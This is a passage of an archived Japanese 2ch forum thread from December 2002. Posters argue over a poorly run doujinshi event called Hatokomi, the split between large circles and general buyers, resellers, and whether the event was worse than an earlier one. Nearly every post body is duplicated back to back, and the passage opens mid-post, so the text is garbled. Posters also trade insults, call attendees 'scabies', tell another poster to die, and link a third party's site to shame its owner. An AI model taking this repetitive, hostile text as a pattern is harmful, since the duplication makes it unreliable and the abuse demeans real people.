場だったか。まだなんかあった気がするなぁ。
今となっては人によって言うことがバラバラでわけわからん（ｗ
特定大手しか買わないヤツを批判するのは、作家の卵を養うって観点からだよな。
パロ文化の普及だったか、漫画文化の普及だったか、商業からはみ出した作家・
商業予備軍を「囲う」場だったか、新しい表現スタイルの実験・マーケティングの
場だったか。まだなんかあった気がするなぁ。
今となっては人によって言うことがバラバラでわけわからん（ｗ
特定大手しか買わないヤツを批判するのは、作家の卵を養うって観点からだよな。
741 ：名無しさん＠どーでもいいことだが。：02/12/11 19:32 ID:IDsuCN/G
>>713
作者と読者のぶつかり合いがあって作家と言うのは
伸びていくんだからそれをはなから放棄しちゃいかん
でしょ。
時にそれは荒らしに取られる。
身内。ファンの擁護＞作者は閉鎖
閉鎖するサークルは大手に多いが、どうやら事後報告
■新刊は完売しました、ありがとうございます■
な内容を前面に押し出す内容なサークルに多いかね
作者と読者のぶつかり合いがあって作家と言うのは
伸びていくんだからそれをはなから放棄しちゃいかん
でしょ。
時にそれは荒らしに取られる。
身内。ファンの擁護＞作者は閉鎖
閉鎖するサークルは大手に多いが、どうやら事後報告
■新刊は完売しました、ありがとうございます■
な内容を前面に押し出す内容なサークルに多いかね
742 ：名無しさん＠どーでもいいことだが。：02/12/11 19:52 ID:trJKCvtH
作者と読者の問題という同人界全体の問題に話題がシフトして
ハトコミ自体の問題点からどんどん離れていってるな
無理矢理話を一般化させて煙に巻こうとしてるMQNの思惑通りか
ハトコミ自体の問題点からどんどん離れていってるな
無理矢理話を一般化させて煙に巻こうとしてるMQNの思惑通りか
743 ：名無しさん＠どーでもいいことだが。：02/12/11 21:00 ID:Swphq8p+
>>739
ﾎﾟｶｰﾝ
即売会に行ったことないだろ、ｱﾝﾀ……
買い手側から大手認定されて、それでも描き手が「気にくわない奴に売らない」気なら、
描き手は即売会から撤退するという選択肢しか残らないぞ…
>>741
「■新刊は完売しました、ありがとうございます■」
趣味ならこれで何も問題ないはずだよなあ……
サークルに再販や書店卸を求めるのは、趣味の範囲なのか……？
ﾎﾟｶｰﾝ
即売会に行ったことないだろ、ｱﾝﾀ……
買い手側から大手認定されて、それでも描き手が「気にくわない奴に売らない」気なら、
描き手は即売会から撤退するという選択肢しか残らないぞ…
>>741
「■新刊は完売しました、ありがとうございます■」
趣味ならこれで何も問題ないはずだよなあ……
サークルに再販や書店卸を求めるのは、趣味の範囲なのか……？
744 ：名無しさん＠どーでもいいことだが。：02/12/11 21:47 ID:WRiLF/DQ
745 ：名無しさん＠どーでもいいことだが。：02/12/11 21:52 ID:rYODHZND
>>743
やりようだろ。ＹＱＮのキン肉マンクイズとかたいして手間は変わらない。
本気で面談で売る、とか本人にやるつもりがあればやれるよ。
故サソリの人なんかもやろうと思えばやれたんじゃない？
もちろん残虐な結果になることもあろう（ｗ
やりようだろ。ＹＱＮのキン肉マンクイズとかたいして手間は変わらない。
本気で面談で売る、とか本人にやるつもりがあればやれるよ。
故サソリの人なんかもやろうと思えばやれたんじゃない？
もちろん残虐な結果になることもあろう（ｗ
746 ：名無しさん＠どーでもいいことだが。：02/12/11 22:05 ID:Swphq8p+
>>745
ありえねー。本当に大手の行列を見てそんなこと言ってるのかＹＯ。
面談なんかやって列が延びた日にゃ、牛歩だって叩かれてオシマイ。
誰もサークル側の「崇高」な考えなんか理解しやしねーよ。
昔ならともかく、今なら必ず残虐な結果に終わるね。
たとえば書店卸をしないにもいろんな理由があるだろうに、
買えなかったからって叩くような香具師がいるような世界だぜ……
ありえねー。本当に大手の行列を見てそんなこと言ってるのかＹＯ。
面談なんかやって列が延びた日にゃ、牛歩だって叩かれてオシマイ。
誰もサークル側の「崇高」な考えなんか理解しやしねーよ。
昔ならともかく、今なら必ず残虐な結果に終わるね。
たとえば書店卸をしないにもいろんな理由があるだろうに、
買えなかったからって叩くような香具師がいるような世界だぜ……
747 ：名無しさん＠どーでもいいことだが。：02/12/11 22:52 ID:rYODHZND
>>746
つか、そういう人は叩かれても気にしないし…。
たぶん崇高な考えはないし…。
そういうのが問題にもならない力があるか、
捨てたくないものが特にないんだよ（ｗ
自由にやりたい、だけど叩かれたくないし売上落ちたら困るって
小市民とはモノが違う。結局、小市民は小市民らしく、人の目を
気にして生きろってことさ。
つか、そういう人は叩かれても気にしないし…。
たぶん崇高な考えはないし…。
そういうのが問題にもならない力があるか、
捨てたくないものが特にないんだよ（ｗ
自由にやりたい、だけど叩かれたくないし売上落ちたら困るって
小市民とはモノが違う。結局、小市民は小市民らしく、人の目を
気にして生きろってことさ。
748 ：名無しさん＠どーでもいいことだが。：02/12/11 23:04 ID:JlvGNK0M
まあ、誇大妄想はそれくらいにしてもらって、ハトコミの話に戻ろうか。
749 ：名無しさん＠どーでもいいことだが。：02/12/11 23:06 ID:WRiLF/DQ
750 ：名無しさん＠どーでもいいことだが。：02/12/11 23:13 ID:m68htpgf
>>749
同人全体の話になっても埒が明かん。
・ハトコミの何が悪いか「一連の流れを」あげる
・ハトコミの「疑問」は何か列挙する（噂は噂でとどめること。ZQNとか）
・ハトコミで起こった「事実」のみを軽くまとめる
この三つでも整理して「偽春菜」問題みたいに記念碑でも作れば？
俺は損しなかったからそんな気分にはならんけど（藁
同人全体の話になっても埒が明かん。
・ハトコミの何が悪いか「一連の流れを」あげる
・ハトコミの「疑問」は何か列挙する（噂は噂でとどめること。ZQNとか）
・ハトコミで起こった「事実」のみを軽くまとめる
この三つでも整理して「偽春菜」問題みたいに記念碑でも作れば？
俺は損しなかったからそんな気分にはならんけど（藁
751 ：名無しさん＠どーでもいいことだが。：02/12/11 23:26 ID:JlvGNK0M
ハトコミがやったこととして歴史に残すべき事項は一つある。
自由に参加することができない同人誌即売会を開いたこと。
自由に参加することができない同人誌即売会を開いたこと。
752 ：名無しさん＠どーでもいいことだが。：02/12/11 23:33 ID:JlvGNK0M
しかも、何の理念も主張も無いままに。
753 ：名無しさん＠どーでもいいことだが。：02/12/12 01:28 ID:9SpceNzk
>誰もサークル側の「崇高」な考えなんか理解しやしねーよ。
いいじゃん、理解されなくたって。そういう人は相手にしたくない！って奴は
しっかりコミュニケーションとりながら販売すればいいだけ。
第一そういう奴は大手と呼ばれるほど部数する必要もないじゃん。
それに会話しながら選別して売るのは牛歩とはいわれないよたぶん。
目的が時間稼ぎじゃないのは明白なんだから。
自分は誰にでも売ります。でもこんな人には買われたくないなんてわがままいってんじゃないよ。
都合のいいときだけコミケの理念やら持ち出す奴を見ると正直ヘドがでる。
いいじゃん、理解されなくたって。そういう人は相手にしたくない！って奴は
しっかりコミュニケーションとりながら販売すればいいだけ。
第一そういう奴は大手と呼ばれるほど部数する必要もないじゃん。
それに会話しながら選別して売るのは牛歩とはいわれないよたぶん。
目的が時間稼ぎじゃないのは明白なんだから。
自分は誰にでも売ります。でもこんな人には買われたくないなんてわがままいってんじゃないよ。
都合のいいときだけコミケの理念やら持ち出す奴を見ると正直ヘドがでる。
754 ：名無しさん＠どーでもいいことだが。：02/12/12 01:45 ID:ihJYZIpp
でも正直大手がそんなことして事態が収拾しない事になるとイベントに参加できなくなると思われ…
何処とはいわないけれど某大手サークルがそれに似たようなことをしてその次のイベント落とされたし…
何処とはいわないけれど某大手サークルがそれに似たようなことをしてその次のイベント落とされたし…
755 ：名無しさん＠どーでもいいことだが。：02/12/12 01:52 ID:n82oPq/W
支離滅裂だなあ・・・
あるサークルが「大手と呼ばれるほど部数する必要」があると買い手から認証されたら、
その時点で、「コミュニケーション」を要求する販売方法はすでに不可能だってことが問題。
もし買い手から大手と認証されているのに、その上で大手として期待される振る舞い
（列整理、十分な搬入、十分な売り子、迅速な捌き）を拒否したら、
それだけでそのサークルは叩かれ放題という現状がある。
そのうえに書店卸ししないって理由で叩かれてりゃ、疥癬がウザいのは当然だと思うが。
大手は、商売を求められながら、しかも同人の理念を守れと要求される。
それは端的に二律背反で両立は不可能なんだが、それはサークルの責任なのかね？
ピコのやることなんて、はなから問題になってないんだってばよ。
あるサークルが「大手と呼ばれるほど部数する必要」があると買い手から認証されたら、
その時点で、「コミュニケーション」を要求する販売方法はすでに不可能だってことが問題。
もし買い手から大手と認証されているのに、その上で大手として期待される振る舞い
（列整理、十分な搬入、十分な売り子、迅速な捌き）を拒否したら、
それだけでそのサークルは叩かれ放題という現状がある。
そのうえに書店卸ししないって理由で叩かれてりゃ、疥癬がウザいのは当然だと思うが。
大手は、商売を求められながら、しかも同人の理念を守れと要求される。
それは端的に二律背反で両立は不可能なんだが、それはサークルの責任なのかね？
ピコのやることなんて、はなから問題になってないんだってばよ。
756 ：名無しさん＠どーでもいいことだが。：02/12/12 02:22 ID:9SpceNzk
>>755
前提として「海鮮がどうこうと文句言うなら」ということを忘れてる？
>>754
それはしょうがないな。自の判断で同じ参加者である海鮮を拒むなら、
相手からも同じように拒まれることは充分ありえるだろう。というか、おこる。
私は同じ参加者を選別ましたが、自分は選別されたくも拒否されたくもありません、はとおらない。
ま、そして次のイベントで落とされたとしたら主催者にもそいつの崇高な意思は理解されなかったってこった。
前提として「海鮮がどうこうと文句言うなら」ということを忘れてる？
>>754
それはしょうがないな。自の判断で同じ参加者である海鮮を拒むなら、
相手からも同じように拒まれることは充分ありえるだろう。というか、おこる。
私は同じ参加者を選別ましたが、自分は選別されたくも拒否されたくもありません、はとおらない。
ま、そして次のイベントで落とされたとしたら主催者にもそいつの崇高な意思は理解されなかったってこった。
757 ：名無しさん＠どーでもいいことだが。：02/12/12 02:39 ID:ihJYZIpp
>756
んや、拒否したとまでのレベルじゃないのよ。
>755にある大手として期待される振る舞い、とやらのある一つが決定的に欠けてしまっただけなんよ＞サークル代表の不手際で
それが海鮮だかスタッフだか（多分こっち）の怒りをかって、次のイベントで落とされた、っつーことっす。
確かに二律背反だよなぁ、とは思う。
んや、拒否したとまでのレベルじゃないのよ。
>755にある大手として期待される振る舞い、とやらのある一つが決定的に欠けてしまっただけなんよ＞サークル代表の不手際で
それが海鮮だかスタッフだか（多分こっち）の怒りをかって、次のイベントで落とされた、っつーことっす。
確かに二律背反だよなぁ、とは思う。
758 ：名無しさん＠どーでもいいことだが。：02/12/12 02:48 ID:puE82nHZ
何かかちゅで見れなくなってるっぽいんでage
759 ：名無しさん＠どーでもいいことだが。：02/12/12 03:02 ID:9SpceNzk
>>757
ということはつまり、その即売会にとってはそのサークルに同人の理念より
商業的なものを優先して欲しかったわけだ。
いいんじゃない？ 海鮮思考な一般はお断り、でも海鮮思考なイベントはOKってのも矛盾してるし。
（ていうか俺の言ってるサークル像とは関係ないただの大手サークルの事例を出されると
ちょっと脱線しちゃうので弱るが）
ということはつまり、その即売会にとってはそのサークルに同人の理念より
商業的なものを優先して欲しかったわけだ。
いいんじゃない？ 海鮮思考な一般はお断り、でも海鮮思考なイベントはOKってのも矛盾してるし。
（ていうか俺の言ってるサークル像とは関係ないただの大手サークルの事例を出されると
ちょっと脱線しちゃうので弱るが）
760 ：名無しさん＠どーでもいいことだが。：02/12/12 04:16 ID:7WXQHTTI
こういう状況は互いの無理解が生んだ結果ではないかと、
それぞれ一度逆の立場に立ってみることをお勧めする。
同人はそれが比較的容易に出来るんだしさ。
それぞれ一度逆の立場に立ってみることをお勧めする。
同人はそれが比較的容易に出来るんだしさ。
761 ：名無しさん＠どーでもいいことだが。：02/12/12 04:30 ID:PffM3Pmg
で、妄想逞しく「俺がお前ならこうするからあんたも是非そうしろ」と言うわけだ。
762 ：名無しさん＠どーでもいいことだが。：02/12/12 04:37 ID:dPbUa2NN
>>761
何意地張ってるんだ？。
何意地張ってるんだ？。
763 ：名無しさん＠どーでもいいことだが。：02/12/12 06:48 ID:a7G54iKq
現状、大手から見れば疥癬なんかいくらでも替えが居る金づるでしかないし、
タイムスパンを長くとって疥癬から見れば大手だって個々では他に売れ線が
出てこればどうでもいい存在だ。その方が気楽なんじゃないの？どちらから見ても。
どちらも割り切って相手を扱い、扱われればいいんじゃないのかね？
疥癬は疥癬らしく家畜のように並べばいいし、大手は大手でそれなりに捌ききれる
準備をしろってこった。
タイムスパンを長くとって疥癬から見れば大手だって個々では他に売れ線が
出てこればどうでもいい存在だ。その方が気楽なんじゃないの？どちらから見ても。
どちらも割り切って相手を扱い、扱われればいいんじゃないのかね？
疥癬は疥癬らしく家畜のように並べばいいし、大手は大手でそれなりに捌ききれる
準備をしろってこった。
764 ：名無しさん＠どーでもいいことだが。：02/12/12 06:49 ID:sHVHB5SA
765 ：名無しさん＠どーでもいいことだが。：02/12/12 08:29 ID:B1+4PEmR
色紙発送されてきた～・・・（←自慢）
766 ：名無しさん＠どーでもいいことだが。：02/12/12 10:09 ID:LYPtJ1Pf
767 ：名無しさん＠どーでもいいことだが。：02/12/12 11:46 ID:iR0S9jvw
一般参加者＝疥癬と言う見方が気になるんだが、
会場に来た全員が疥癬と言う訳じゃあるまいて。
会場に来た全員が疥癬と言う訳じゃあるまいて。
768 ：名無しさん＠どーでもいいことだが。：02/12/12 14:47 ID:7LYBRnlo
ハトコミ並んだのに買えなかった！とかのクソ文句をたれるやつらが
疥癬、という定義だろう。
疥癬、という定義だろう。
769 ：名無しさん＠どーでもいいことだが。：02/12/12 14:52 ID:KvhDOzl5
漏れは地方なのでハトコミは行ってないけど冬コミはｻｸﾙ参加するんだけど、
関係者と目されるｻｸﾙの一つと配置すぐ近くなんでなんか心配…。
関係者と目されるｻｸﾙの一つと配置すぐ近くなんでなんか心配…。
770 ：名無しさん＠どーでもいいことだが。：02/12/12 15:05 ID:X5kKP7zT
>>768
一部のサークルやスタッフの醜いエゴを一般参加者に押し付けるのは
ハトコミ並んだのに買えなかった！とかの文句をたれる連中と一緒だと
思うんだが。
と言うか疥癬と馬鹿にする連中って特権意識持ち過ぎで醜い
一部のサークルやスタッフの醜いエゴを一般参加者に押し付けるのは
ハトコミ並んだのに買えなかった！とかの文句をたれる連中と一緒だと
思うんだが。
と言うか疥癬と馬鹿にする連中って特権意識持ち過ぎで醜い
771 ：名無しさん＠どーでもいいことだが。：02/12/12 15:05 ID:v4LKUE9K
>>766 コインたんですか・・？ﾊｧﾊｧ
俺も自分が何も買えなかったくせには15kも稼げたので
糞イベントなりにオイシカッタ。ｹﾞﾗｹﾞﾗ
>>768 ﾊｧ？それはただの事実じゃん
>>769 別に何もされんよ。顔見にくるひとは少しぐらいいるかもしれないが
あの場ではみんな忙しいからねぇ
だいいち 一番終わってるのは に○の
俺も自分が何も買えなかったくせには15kも稼げたので
糞イベントなりにオイシカッタ。ｹﾞﾗｹﾞﾗ
>>768 ﾊｧ？それはただの事実じゃん
>>769 別に何もされんよ。顔見にくるひとは少しぐらいいるかもしれないが
あの場ではみんな忙しいからねぇ
だいいち 一番終わってるのは に○の
772 ：名無しさん＠どーでもいいことだが。：02/12/12 15:38 ID:LYPtJ1Pf
>>768
気分的には文句が出るのは判るよ。一応何かしら有る事を期待しなきゃ最初から
来ないだろうさ。
>>769
すぐ近く程度で被害が有るわきゃ無いと思うが…
>>770
だよなぁ。楽しんだ奴が殊更他を攻撃することも有るまいに。
一部のサークルやスタッフ以外は、別に楽しんだことを
責められてる訳じゃないしな。
>>771
いや？普通に楽しめたけど？普通に売って、普通に買い物して、
普通に知り合いのサークル廻って。
一般参加者にとって糞イベントでもな。
一般参加者のこと考えると擁護する気にはならないが、
俺個人としては楽しく過ごせたよ。
転売屋にとやかく言われる筋合いでもないしな…
といいますか、まさか転売屋が釣れるとは思いませんですた(w
気分的には文句が出るのは判るよ。一応何かしら有る事を期待しなきゃ最初から
来ないだろうさ。
>>769
すぐ近く程度で被害が有るわきゃ無いと思うが…
>>770
だよなぁ。楽しんだ奴が殊更他を攻撃することも有るまいに。
一部のサークルやスタッフ以外は、別に楽しんだことを
責められてる訳じゃないしな。
>>771
いや？普通に楽しめたけど？普通に売って、普通に買い物して、
普通に知り合いのサークル廻って。
一般参加者にとって糞イベントでもな。
一般参加者のこと考えると擁護する気にはならないが、
俺個人としては楽しく過ごせたよ。
転売屋にとやかく言われる筋合いでもないしな…
といいますか、まさか転売屋が釣れるとは思いませんですた(w
774 ：名無しさん＠どーでもいいことだが。：02/12/12 18:46 ID:hAlJPiyq
775 ：名無しさん＠どーでもいいことだが。：02/12/12 20:18 ID:4c6H8c3B
ID:LYPtJ1Pf
おめてたーーーーーーーーいあたまーーーーーー
おめてたーーーーーーーーいあたまーーーーーー
776 ：名無しさん＠どーでもいいことだが。：02/12/12 20:39 ID:7SNsLFuR
一行煽りレスうざい
777 ：名無しさん＠どーでもいいことだが。：02/12/12 20:52 ID:ZI3WE7ng
>776
禿同。
775はマッハで氏んでくれ。
禿同。
775はマッハで氏んでくれ。
778 ：名無しさん＠どーでもいいことだが。：02/12/12 23:08 ID:4c6H8c3B
776 ：名無しさん＠どーでもいいことだが。 ：02/12/12 20:39 ID:7SNsLFuR
一行煽りレスうざい
777 ：名無しさん＠どーでもいいことだが。 ：02/12/12 20:52 ID:ZI3WE7ng
>776
禿同。
775はマッハで氏んでくれ。
必 死
です
ねえ（ｗ
一行煽りレスうざい
777 ：名無しさん＠どーでもいいことだが。 ：02/12/12 20:52 ID:ZI3WE7ng
>776
禿同。
775はマッハで氏んでくれ。
必 死
です
ねえ（ｗ
779 ：名無しさん＠どーでもいいことだが。：02/12/12 23:15 ID:a7G54iKq
ID:4c6H8c3B
100％僻みで出来てるレスですね(ﾌﾟ
全角厨だし(w
100％僻みで出来てるレスですね(ﾌﾟ
全角厨だし(w
780 ：名無しさん＠どーでもいいことだが。：02/12/12 23:24 ID:ly13j6B0
sage
781 ：名無しさん＠どーでもいいことだが。：02/12/13 00:27 ID:9k4pQy3Y
sage×2
782 ：名無しさん＠どーでもいいことだが。：02/12/13 04:29 ID:/pQy+bUW
750 名前：名無しさん＠どーでもいいことだが。 投稿日：02/12/11 23:13 ID:m68htpgf
>>749
同人全体の話になっても埒が明かん。
・ハトコミの何が悪いか「一連の流れを」あげる
・ハトコミの「疑問」は何か列挙する（噂は噂でとどめること。ZQNとか）
・ハトコミで起こった「事実」のみを軽くまとめる
この三つでも整理して「偽春菜」問題みたいに記念碑でも作れば？
俺は損しなかったからそんな気分にはならんけど（藁
いいから上記3点を早くまとめてもらえませんか？
こんな事も出来ないのに叩いてるの、貴様ら？(プ
>>749
同人全体の話になっても埒が明かん。
・ハトコミの何が悪いか「一連の流れを」あげる
・ハトコミの「疑問」は何か列挙する（噂は噂でとどめること。ZQNとか）
・ハトコミで起こった「事実」のみを軽くまとめる
この三つでも整理して「偽春菜」問題みたいに記念碑でも作れば？
俺は損しなかったからそんな気分にはならんけど（藁
いいから上記3点を早くまとめてもらえませんか？
こんな事も出来ないのに叩いてるの、貴様ら？(プ
783 ：名無しさん＠どーでもいいことだが。：02/12/13 06:58 ID:UrSuekdv
同人誌を転売した利益でしか量れない想像力貧困な疥癬…
ここで発言した一般参加者はテンバイヤすれすれの屑しか
居ないということか。とっとと同人やめちまえよ。
ここで発言した一般参加者はテンバイヤすれすれの屑しか
居ないということか。とっとと同人やめちまえよ。
784 ：名無しさん＠どーでもいいことだが。：02/12/13 08:09 ID:CQOqeERE
おい！ なんかいきなり逆ギレした人がいるぞ。
一人で盛り上がってるぞ。
一人で盛り上がってるぞ。
785 ：名無しさん＠どーでもいいことだが。：02/12/13 09:05 ID:bYx24efH
>>784
メール欄
メール欄
786 ：名無しさん＠どーでもいいことだが。：02/12/13 22:04 ID:Hg/PQvDP
疥癬などとほざく馬鹿は無視しようや。
>>782
＞・ハトコミの何が悪いか「一連の流れを」あげる
に絞れば･･･
ひたすらレア感を煽っただけのカタログ販売
サンクリやレヴォと比べるとおなざりだった
徹夜対策と列形成。
それまで燻っていたであろう
一般参加者とサークル参加者とスタッフの
考え方の違いをあらわにした。
ってとこか？、まだあると思うけど。
>>782
＞・ハトコミの何が悪いか「一連の流れを」あげる
に絞れば･･･
ひたすらレア感を煽っただけのカタログ販売
サンクリやレヴォと比べるとおなざりだった
徹夜対策と列形成。
それまで燻っていたであろう
一般参加者とサークル参加者とスタッフの
考え方の違いをあらわにした。
ってとこか？、まだあると思うけど。
787 ：名無しさん＠どーでもいいことだが。：02/12/14 02:55 ID:n8FwuuNJ
＞それまで燻っていたであろう 一般参加者とサークル参加者とスタッフの考え方の違いをあらわにした。
これをイベントのせいにするのはお門違いなんじゃね？
これをイベントのせいにするのはお門違いなんじゃね？
788 ：名無しさん＠どーでもいいことだが。：02/12/14 07:34 ID:mXmxwvLv
鳩混みOHP更新age
色紙発送の報告をした以外は、すべてのコンテンツのリンクを消去。
メアドすら消したってことは、>>664みたいに意見することも、
今後は受け付けないってことか？
結局、準備会の正体は公式発表されないままだったね。
> イベントは無事
> 終了いたしました
> ご参加、まことにありがとうございました。
事後報告は結局↑これだけかい！（藁
色紙発送の報告をした以外は、すべてのコンテンツのリンクを消去。
メアドすら消したってことは、>>664みたいに意見することも、
今後は受け付けないってことか？
結局、準備会の正体は公式発表されないままだったね。
> イベントは無事
> 終了いたしました
> ご参加、まことにありがとうございました。
事後報告は結局↑これだけかい！（藁
789 ：名無しさん＠どーでもいいことだが。：02/12/14 09:45 ID:N2fnzTjj
鴨さん葱しょって来てくれてどうもありがと～
ってこった(w
ってこった(w
790 ：名無しさん＠どーでもいいことだが。：02/12/14 15:20 ID:fMh0I0vG
もはやこれまでだな。
やはり一度崩壊の憂き目に遭った方がいいんでねえの？
とageて抜かしてみるテスト。
やはり一度崩壊の憂き目に遭った方がいいんでねえの？
とageて抜かしてみるテスト。
http://japan.pinkserver.com/under/index.html
関係者はこの板の住人！！
http://comic2.2ch.net/test/read.cgi/doujin/1037245531/-700
関係者はこの板の住人！！
http://comic2.2ch.net/test/read.cgi/doujin/1037245531/-700
792 ：痛い厨のサイト↓：02/12/14 15:27 ID:LaTMIYti
793 ：名無しさん＠どーでもいいことだが。：02/12/14 15:28 ID:LaTMIYti
http://japan.pinkserver.com/under/index.html
勝手に他人のサイトを直リンク！！
「法的根拠はない！！」
「だから直リンしてます」
ハァ？
ネチケットも守れない痛い厨のサイト晒し
763 名前：名無しさん＠どーでもいいことだが。 ：02/12/14 14:53 ID:touWnogF
↑
私怨やおい女か？ 他所に池
764 名前：思いっきり痛い厨のサイト↓ ：02/12/14 15:03 ID:LaTMIYti
>>763関係者必死だな（ﾌﾟｹﾞﾗ
765 名前：名無しさん＠どーでもいいことだが。 ：02/12/14 15:09 ID:touWnogF
びっくりした。なんだこいつ。
電車でぶつぶつ言ったりわめきちらしてるのと変わらんな（ｗ
>763=764が、裏をされされた椰子だってことは分かったよ。
766 名前：名無しさん＠どーでもいいことだが。 ：02/12/14 15:12 ID:touWnogF
「思いっきり痛い厨のレス>762＝>764」
チケスレに書き込んでもねえヽ(´ー`)ﾉ
勝手に他人のサイトを直リンク！！
「法的根拠はない！！」
「だから直リンしてます」
ハァ？
ネチケットも守れない痛い厨のサイト晒し
763 名前：名無しさん＠どーでもいいことだが。 ：02/12/14 14:53 ID:touWnogF
↑
私怨やおい女か？ 他所に池
764 名前：思いっきり痛い厨のサイト↓ ：02/12/14 15:03 ID:LaTMIYti
>>763関係者必死だな（ﾌﾟｹﾞﾗ
765 名前：名無しさん＠どーでもいいことだが。 ：02/12/14 15:09 ID:touWnogF
びっくりした。なんだこいつ。
電車でぶつぶつ言ったりわめきちらしてるのと変わらんな（ｗ
>763=764が、裏をされされた椰子だってことは分かったよ。
766 名前：名無しさん＠どーでもいいことだが。 ：02/12/14 15:12 ID:touWnogF
「思いっきり痛い厨のレス>762＝>764」
チケスレに書き込んでもねえヽ(´ー`)ﾉ
794 ：英雄になりたい人：02/12/14 22:46 ID:RDzVcWlR
（・∀・）↑このウザイコピペ野郎を倒したら英雄になれますか？
795 ：名無しさん＠どーでもいいことだが。：02/12/15 05:04 ID:P9Br7zlu
はっきり言おう。かつて我々は彼らに対して幻想をいただいていた。
彼らは我々の仲間であると。
確かにある時点まで彼らは我々の仲間だったかもしれない。
しかし、大きくなってしまった彼らはもはや我々を向いていない。
もはや彼らは我々の仲間ではないことを我々も認識すべきだ。
彼らは同人誌即売会というものが（もしかしたら、いわゆる「おたく」というものすら）
好きではないのだ。
少なくとも他の準備会ならこんな底の浅いことはしないだろう
彼らは我々の仲間であると。
確かにある時点まで彼らは我々の仲間だったかもしれない。
しかし、大きくなってしまった彼らはもはや我々を向いていない。
もはや彼らは我々の仲間ではないことを我々も認識すべきだ。
彼らは同人誌即売会というものが（もしかしたら、いわゆる「おたく」というものすら）
好きではないのだ。
少なくとも他の準備会ならこんな底の浅いことはしないだろう
796 ：名無しさん＠どーでもいいことだが。：02/12/15 11:24 ID:i9FsU8Xo
797 ：名無しさん＠どーでもいいことだが。：02/12/15 15:37 ID:cN9pRnUD
内心がどうだろうと、仕切りが巧けりゃいいよ。
でもぜきゅんは自己顕示欲だけの能なし馬鹿だからなあ…
でもぜきゅんは自己顕示欲だけの能なし馬鹿だからなあ…
798 ：名無しさん＠どーでもいいことだが。：02/12/16 07:56 ID:1WsITbTU
オールジャンル同人誌即売会の価値って。
799 ：名無しさん＠どーでもいいことだが。：02/12/16 09:30 ID:u8Dd72n+
ハトコミがほぼ全ての一般参加者に極端に
優しくないイベントだったのは異論が無いだろうが、
リアルこみぱを引き合いに出して、あれの方が
まだマシだったとか言うのはやめろ。
そういうこと言う奴ほど今後必ず有るであろう
似たようなイベントｶﾞ開催された時、
「まだハトコミのほうがマシだった」
とか言うものだ。
大体、リアルこみぱに行って、更にハトコミ行った奴、
そんなに騙されやすくてどうするの？
毎年のように出る出資法違反/詐欺の被害者みたいで
みっともないぞ。
優しくないイベントだったのは異論が無いだろうが、
リアルこみぱを引き合いに出して、あれの方が
まだマシだったとか言うのはやめろ。
そういうこと言う奴ほど今後必ず有るであろう
似たようなイベントｶﾞ開催された時、
「まだハトコミのほうがマシだった」
とか言うものだ。
大体、リアルこみぱに行って、更にハトコミ行った奴、
そんなに騙されやすくてどうするの？
毎年のように出る出資法違反/詐欺の被害者みたいで
みっともないぞ。
800 ：名無しさん＠どーでもいいことだが。：02/12/16 11:45 ID:7WHDWSTQ
>>799
単純に最悪イベント記録をハトコミが塗り替えただけだと思うが（ｗ
これ以下のイベントが現れたら、ハトコミのほうがマシだったって
言ってもらえるよ、きっと。
まさか、こみパが抜かれるとは思わなかったよ。
単純に最悪イベント記録をハトコミが塗り替えただけだと思うが（ｗ
これ以下のイベントが現れたら、ハトコミのほうがマシだったって
言ってもらえるよ、きっと。
まさか、こみパが抜かれるとは思わなかったよ。
801 ：名無しさん＠どーでもいいことだが。：02/12/16 12:41 ID:u8Dd72n+
>>800
そういう記憶障害の年寄りみたいな繰言を言うからみっともないんだよ。
どの辺りがこみパを超えてたんだよ。
あの開場から閉会まで満員電車状態の方が良かったと言える、
その記憶力の無さはなんなんだ。騙された人数だって今回の方が圧倒的に少ない。
ま、開催側の自覚の無い悪意は今回の方が多かったかもしれんが、
推測でしかないし、定量的に測れるものでもない。
どこの部分で記録を塗り替えたんだ？
はっきり言うが、本当にこみパのほうが良かったと思っているんだとしたら、
それはただ単にこみパの記憶が薄れて、いい思い出になってるだけだ。
それを自覚しないんだったら「最近の若い者は…」という
紀元前から繰り返している年寄りの繰言に過ぎないよ。
ハトコミが今年最大の糞イベントであった事には同意するがな。
そういう記憶障害の年寄りみたいな繰言を言うからみっともないんだよ。
どの辺りがこみパを超えてたんだよ。
あの開場から閉会まで満員電車状態の方が良かったと言える、
その記憶力の無さはなんなんだ。騙された人数だって今回の方が圧倒的に少ない。
ま、開催側の自覚の無い悪意は今回の方が多かったかもしれんが、
推測でしかないし、定量的に測れるものでもない。
どこの部分で記録を塗り替えたんだ？
はっきり言うが、本当にこみパのほうが良かったと思っているんだとしたら、
それはただ単にこみパの記憶が薄れて、いい思い出になってるだけだ。
それを自覚しないんだったら「最近の若い者は…」という
紀元前から繰り返している年寄りの繰言に過ぎないよ。
ハトコミが今年最大の糞イベントであった事には同意するがな。
802 ：名無しさん＠どーでもいいことだが。：02/12/16 13:10 ID:7Dm/ipc+
>ハトコミが今年最大の糞イベントであった事には同意するがな。
予防線らしい。
予防線らしい。
803 ：名無しさん＠どーでもいいことだが。：02/12/16 13:20 ID:u8Dd72n+
予防線も何も(w
是非とも、どの点でこみパを超えていたかを指摘して欲しい。
というのも両方とも朝7時頃一般で行った馬鹿として、こみパのほうが
よっぽど酷い目に遭ったから。
是非とも、どの点でこみパを超えていたかを指摘して欲しい。
というのも両方とも朝7時頃一般で行った馬鹿として、こみパのほうが
よっぽど酷い目に遭ったから。
804 ：名無しさん＠どーでもいいことだが。：02/12/16 14:54 ID:YBMo0ID2
こみパは本当に予想外に人が来たからなぁ。
323も甘露も出なかったのに。
こみパはスタッフの準備不足・人員不足の目立ったイベントで救いようがなかったが
大実験イベントとしての意義はあったな。不測の事態も多かった。
結果的に突然当時のレヴォ以上の対応を迫られたわけだし。
同人イベントの理想を追い、現実をつきつけられたイベントだったな（ｗ
あれこれ対処しようとした分、いくらか腹の虫もおさまるというか。
ハトコミは対外的にはつつがなく終わらせたが、ただ安全に終わらせただけで
企画段階からわかってる問題点すら無視したからな。
それでいいんだったら金とコネさえあれば誰だって仕切れるわい、っていう。
意義もなんにもない、やっただけのイベントだったな。
最後までシラを切り通した分、人の恨みを買ってるっていうか（ｗ
323も甘露も出なかったのに。
こみパはスタッフの準備不足・人員不足の目立ったイベントで救いようがなかったが
大実験イベントとしての意義はあったな。不測の事態も多かった。
結果的に突然当時のレヴォ以上の対応を迫られたわけだし。
同人イベントの理想を追い、現実をつきつけられたイベントだったな（ｗ
あれこれ対処しようとした分、いくらか腹の虫もおさまるというか。
ハトコミは対外的にはつつがなく終わらせたが、ただ安全に終わらせただけで
企画段階からわかってる問題点すら無視したからな。
それでいいんだったら金とコネさえあれば誰だって仕切れるわい、っていう。
